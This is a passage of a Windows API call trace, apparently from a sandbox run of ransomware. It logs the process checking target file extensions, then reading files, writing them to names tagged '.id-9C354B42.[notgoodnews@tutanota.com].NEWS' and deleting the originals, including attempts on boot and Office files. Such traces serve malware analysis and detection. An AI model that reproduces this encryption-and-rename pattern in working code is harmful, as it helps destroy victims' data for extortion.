"c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.563] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0195.564] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.564] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.564] lstrlenW (lpString=".doc") returned 4 [0195.564] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.564] lstrlenW (lpString=".docx") returned 5 [0195.565] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.565] lstrlenW (lpString=".pdf") returned 4 [0195.565] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.565] lstrlenW (lpString=".xls") returned 4 [0195.565] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.565] lstrlenW (lpString=".xlsx") returned 5 [0195.566] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.566] lstrlenW (lpString=".ppt") returned 4 [0195.566] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.566] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.566] lstrlenW (lpString=".zip") returned 4 [0195.566] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0195.566] lstrlenW (lpString=".rar") returned 4 [0195.566] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.566] lstrlenW (lpString=".bz2") returned 4 [0195.566] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.566] lstrlenW (lpString=".7z") returned 3 [0195.566] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.567] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.567] lstrlenW (lpString=".dbf") returned 4 [0195.567] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.567] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.567] lstrlenW (lpString=".1cd") returned 4 [0195.567] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.567] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.567] lstrlenW (lpString=".jpg") returned 4 [0195.567] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.567] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.568] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.568] lstrlenW (lpString=".doc") returned 4 [0195.568] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.568] lstrlenW (lpString=".docx") returned 5 [0195.568] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.568] lstrlenW (lpString=".pdf") returned 4 [0195.568] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.568] lstrlenW (lpString=".xls") returned 4 [0195.568] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.568] lstrlenW (lpString=".xlsx") returned 5 [0195.568] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.568] lstrlenW (lpString=".ppt") returned 4 [0195.569] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.569] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.569] lstrlenW (lpString=".zip") returned 4 [0195.569] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0195.569] lstrlenW (lpString=".rar") returned 4 [0195.569] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.569] lstrlenW (lpString=".bz2") returned 4 [0195.569] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.569] lstrlenW (lpString=".7z") returned 3 [0195.569] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.569] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.569] lstrlenW (lpString=".dbf") returned 4 [0195.570] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.570] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.570] lstrlenW (lpString=".1cd") returned 4 [0195.570] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.570] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0195.570] lstrlenW (lpString=".jpg") returned 4 [0195.570] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.571] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.571] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.571] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.571] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=70208) returned 1 [0195.571] CloseHandle (hObject=0x208) returned 1 [0195.571] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0195.572] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.572] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.572] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.572] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.572] lstrlenW (lpString=".doc") returned 4 [0195.572] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.573] lstrlenW (lpString=".docx") returned 5 [0195.573] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.573] lstrlenW (lpString=".pdf") returned 4 [0195.573] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.573] lstrlenW (lpString=".xls") returned 4 [0195.573] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.573] lstrlenW (lpString=".xlsx") returned 5 [0195.573] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.573] lstrlenW (lpString=".ppt") returned 4 [0195.573] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.573] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.574] lstrlenW (lpString=".zip") returned 4 [0195.574] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.574] lstrlenW (lpString=".rar") returned 4 [0195.574] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.574] lstrlenW (lpString=".bz2") returned 4 [0195.574] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.574] lstrlenW (lpString=".7z") returned 3 [0195.574] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.574] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.574] lstrlenW (lpString=".dbf") returned 4 [0195.574] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.574] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.574] lstrlenW (lpString=".1cd") returned 4 [0195.575] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.575] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.575] lstrlenW (lpString=".jpg") returned 4 [0195.575] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.575] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.575] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.575] lstrlenW (lpString=".doc") returned 4 [0195.576] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.576] lstrlenW (lpString=".docx") returned 5 [0195.576] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.576] lstrlenW (lpString=".pdf") returned 4 [0195.576] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.576] lstrlenW (lpString=".xls") returned 4 [0195.576] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.576] lstrlenW (lpString=".xlsx") returned 5 [0195.577] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.577] lstrlenW (lpString=".ppt") returned 4 [0195.577] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.577] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.577] lstrlenW (lpString=".zip") returned 4 [0195.577] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.577] lstrlenW (lpString=".rar") returned 4 [0195.577] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.577] lstrlenW (lpString=".bz2") returned 4 [0195.577] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.577] lstrlenW (lpString=".7z") returned 3 [0195.578] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.578] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.578] lstrlenW (lpString=".dbf") returned 4 [0195.578] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.578] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.578] lstrlenW (lpString=".1cd") returned 4 [0195.578] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.578] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0195.578] lstrlenW (lpString=".jpg") returned 4 [0195.578] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.579] lstrlenW (lpString="bootmgr") returned 7 [0195.579] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.580] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=383786) returned 1 [0195.581] CloseHandle (hObject=0x208) returned 1 [0195.581] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0195.581] GetFileAttributesW (lpFileName="C:\\bootmgr.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\bootmgr.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.581] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0195.582] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.582] lstrlenW (lpString="C:\\bootmgr") returned 10 [0195.582] lstrlenW (lpString="C:\\bootmgr") returned 10 [0195.582] lstrlenW (lpString=".doc") returned 4 [0195.582] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0195.583] lstrlenW (lpString=".docx") returned 5 [0195.583] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0195.583] lstrlenW (lpString=".pdf") returned 4 [0195.583] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0195.583] lstrlenW (lpString=".xls") returned 4 [0195.583] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0195.583] lstrlenW (lpString=".xlsx") returned 5 [0195.583] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0195.583] lstrlenW (lpString=".ppt") returned 4 [0195.583] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0195.583] lstrlenW (lpString="C:\\bootmgr") returned 10 [0195.583] lstrlenW (lpString=".zip") returned 4 [0195.584] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0195.584] lstrlenW (lpString=".rar") returned 4 [0195.584] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0195.584] lstrlenW (lpString=".bz2") returned 4 [0195.584] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0195.584] lstrlenW (lpString=".7z") returned 3 [0195.584] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0195.584] lstrlenW (lpString="C:\\bootmgr") returned 10 [0195.584] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0195.584] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0195.585] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0195.586] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0195.586] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0195.586] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0195.586] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0195.586] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0195.586] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0195.587] lstrcmpiW (lpString1=".sys", lpString2=".NEWS") returned 1 [0195.588] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0195.588] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0195.588] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0195.588] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0195.588] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0195.588] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0195.588] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0195.588] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0195.589] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0195.589] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0195.589] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0195.589] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0195.589] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0195.589] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0195.590] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0195.590] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0195.590] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0195.590] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0195.590] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0195.590] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0195.590] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0195.590] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0195.590] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0195.591] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0195.591] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0195.591] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0195.592] lstrcmpiW (lpString1=".sys", lpString2=".NEWS") returned 1 [0195.592] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0195.592] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0195.592] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0195.593] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0195.593] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0195.593] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0195.593] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0195.593] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0195.593] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0195.593] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0195.593] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0195.594] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0195.594] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0195.594] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0195.594] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0195.594] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0195.594] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0195.594] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0195.594] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0195.595] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0195.595] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0195.595] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0195.595] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0195.595] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0195.595] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0196.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0197.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0205.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0205.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0215.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0216.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0216.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0216.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0216.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0225.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.180] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.286] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.287] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0228.575] GetLastError () returned 0x0 [0228.575] ReadFile (in: hFile=0x30c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0228.890] WriteFile (in: hFile=0x398, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0229.037] ReadFile (in: hFile=0x30c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0229.037] WriteFile (in: hFile=0x398, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xea, lpOverlapped=0x0) returned 1 [0229.037] SetEndOfFile (hFile=0x398) returned 1 [0229.037] CloseHandle (hObject=0x398) returned 1 [0229.038] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.038] SetEndOfFile (hFile=0x30c) returned 1 [0229.661] CloseHandle (hObject=0x30c) returned 1 [0229.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0229.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0229.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.880] lstrlenW (lpString=".doc") returned 4 [0229.880] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0229.880] lstrlenW (lpString=".docx") returned 5 [0229.880] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0229.880] lstrlenW (lpString=".pdf") returned 4 [0229.880] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0229.881] lstrlenW (lpString=".xls") returned 4 [0229.881] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0229.881] lstrlenW (lpString=".xlsx") returned 5 [0229.881] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0229.881] lstrlenW (lpString=".ppt") returned 4 [0229.881] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0229.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0229.881] lstrlenW (lpString=".zip") returned 4 [0229.881] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0229.881] lstrlenW (lpString=".rar") returned 4 [0229.881] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0229.881] lstrlenW (lpString=".bz2") returned 4 [0229.882] lstrcmpiW 